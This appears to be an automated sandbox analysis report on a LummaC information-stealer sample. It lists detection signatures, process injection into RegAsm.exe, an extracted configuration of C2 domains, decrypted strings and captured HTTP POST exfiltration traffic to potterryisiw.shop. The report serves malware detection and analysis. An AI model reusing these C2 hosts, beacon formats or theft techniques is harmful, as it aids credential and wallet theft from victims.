Edit tour

Windows Analysis Report
mkFOY01Gl5.exe

Overview

General Information

Sample name:	mkFOY01Gl5.exe renamed because original name is a hash value
Original sample name:	0309dd0131150796ea99b30a62194fae.exe
Analysis ID:	1465097
MD5:	0309dd0131150796ea99b30a62194fae
SHA1:	2df6e334708eae810a74b844fd57e18e9fdc34cd
SHA256:	07c09ba5a84f619e5b83a54298ffc58d20b00f14399c7a94b7f02b70efc60f35
Tags:	32exetrojan
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

mkFOY01Gl5.exe (PID: 6056 cmdline: "C:\Users\user\Desktop\mkFOY01Gl5.exe" MD5: 0309DD0131150796EA99B30A62194FAE)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 4308 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6176 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 6976 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6176 -s 1796 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2968 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["pedestriankodwu.xyz", "towerxxuytwi.xyzd", "ellaboratepwsz.xyzu", "penetratedpoopp.xyz", "swellfrrgwwos.xyz", "contintnetksows.shop", "foodypannyjsud.shop", "potterryisiw.shop", "potterryisiw.shop"], "Build id": "H8NgCl--default2806"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mkFOY01Gl5.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://potterryisiw.shop/piR	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/apiA48)	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/t	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/pi	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/api	Avira URL Cloud: Label: malware
Source: foodypannyjsud.shop	Avira URL Cloud: Label: malware
Source: pedestriankodwu.xyz	Avira URL Cloud: Label: malware
Source: contintnetksows.shop	Avira URL Cloud: Label: malware
Source: potterryisiw.shop	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/(q	Avira URL Cloud: Label: malware
Source: penetratedpoopp.xyz	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/lli	Avira URL Cloud: Label: malware
Source: swellfrrgwwos.xyz	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/api44	Avira URL Cloud: Label: malware

Found malware configuration

Source: 4.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["pedestriankodwu.xyz", "towerxxuytwi.xyzd", "ellaboratepwsz.xyzu", "penetratedpoopp.xyz", "swellfrrgwwos.xyz", "contintnetksows.shop", "foodypannyjsud.shop", "potterryisiw.shop", "potterryisiw.shop"], "Build id": "H8NgCl--default2806"}

Multi AV Scanner detection for domain / URL

Source: https://potterryisiw.shop/api

Virustotal: Detection: 13%

Perma Link

Multi AV Scanner detection for submitted file

Source: mkFOY01Gl5.exe	ReversingLabs: Detection: 68%
Source: mkFOY01Gl5.exe	Virustotal: Detection: 71%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: mkFOY01Gl5.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: pedestriankodwu.xyz
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: towerxxuytwi.xyzd
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ellaboratepwsz.xyzu
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: penetratedpoopp.xyz
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: swellfrrgwwos.xyz
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: contintnetksows.shop
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: foodypannyjsud.shop
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: potterryisiw.shop
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: potterryisiw.shop
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: H8NgCl--default2806

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00417592 CryptUnprotectData,

4_2_00417592

Source: mkFOY01Gl5.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: mkFOY01Gl5.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Code function: 0_2_0010AA16 FindFirstFileExW,

0_2_0010AA16

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	4_2_0043B00A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+14h]	4_2_004180AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0041B990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000A90h]	4_2_0041FAE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	4_2_00428A88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	4_2_00402D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000F4h]	4_2_00424F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [esi+eax], 0000h	4_2_00424F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+18h]	4_2_0040FF30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	4_2_004241DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+eax+01h], 00000000h	4_2_004241DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_00439270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_00439270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	4_2_004212D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 11081610h	4_2_004212D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [esi+eax], 0000h	4_2_00425350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, ecx	4_2_004083F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [ecx+eax*4], bx	4_2_004083F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	4_2_0041343E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push edi	4_2_00426483
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp esi	4_2_0043C4BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp esi	4_2_0043C5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	4_2_00416637
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	4_2_0043B776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp esi	4_2_0043C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp esi	4_2_0043C8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	4_2_00413940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	4_2_00423976
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	4_2_00423976
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	4_2_0040EA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	4_2_00426A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_00425A2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	4_2_00416AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 3BEBD150h	4_2_00436AD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [esi+ebx], 0000h	4_2_0041BB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	4_2_00433BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [00449828h]	4_2_0043AC04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_00438C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_00413D71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, edi	4_2_00422E75
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	4_2_00421EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	4_2_00428F65

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: pedestriankodwu.xyz
Source: Malware configuration extractor	URLs: towerxxuytwi.xyzd
Source: Malware configuration extractor	URLs: ellaboratepwsz.xyzu
Source: Malware configuration extractor	URLs: penetratedpoopp.xyz
Source: Malware configuration extractor	URLs: swellfrrgwwos.xyz
Source: Malware configuration extractor	URLs: contintnetksows.shop
Source: Malware configuration extractor	URLs: foodypannyjsud.shop
Source: Malware configuration extractor	URLs: potterryisiw.shop
Source: Malware configuration extractor	URLs: potterryisiw.shop

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12841Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15083Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20573Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3806Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1299Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 546185Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 88Host: potterryisiw.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: potterryisiw.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: potterryisiw.shop

Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000BB3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2574481805.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/(q
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2574481805.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/api
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/api44
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/apiA48)
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/lli
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/pi
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/piR
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000BB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/t

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00430CF0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00430CF0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00430CF0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00430CF0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00430F10 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

4_2_00430F10

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_00114920	0_2_00114920
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_00104869	0_2_00104869
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_0010E8C8	0_2_0010E8C8
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_00105289	0_2_00105289
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_000FDAB4	0_2_000FDAB4
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_00100B00	0_2_00100B00
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_000F3D50	0_2_000F3D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00417592	4_2_00417592
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004227B0	4_2_004227B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00417AC5	4_2_00417AC5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00404E70	4_2_00404E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00421F5A	4_2_00421F5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00402FA0	4_2_00402FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409060	4_2_00409060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00436120	4_2_00436120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004241DE	4_2_004241DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043E1E0	4_2_0043E1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004211E6	4_2_004211E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00439270	4_2_00439270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041E2CE	4_2_0041E2CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004083F0	4_2_004083F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043C4BB	4_2_0043C4BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00422569	4_2_00422569
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043E510	4_2_0043E510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043C5C0	4_2_0043C5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004035E0	4_2_004035E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0042166A	4_2_0042166A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00406770	4_2_00406770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043C7C0	4_2_0043C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043C8C0	4_2_0043C8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004188EE	4_2_004188EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00423976	4_2_00423976
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00403990	4_2_00403990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043CA00	4_2_0043CA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00426CC0	4_2_00426CC0
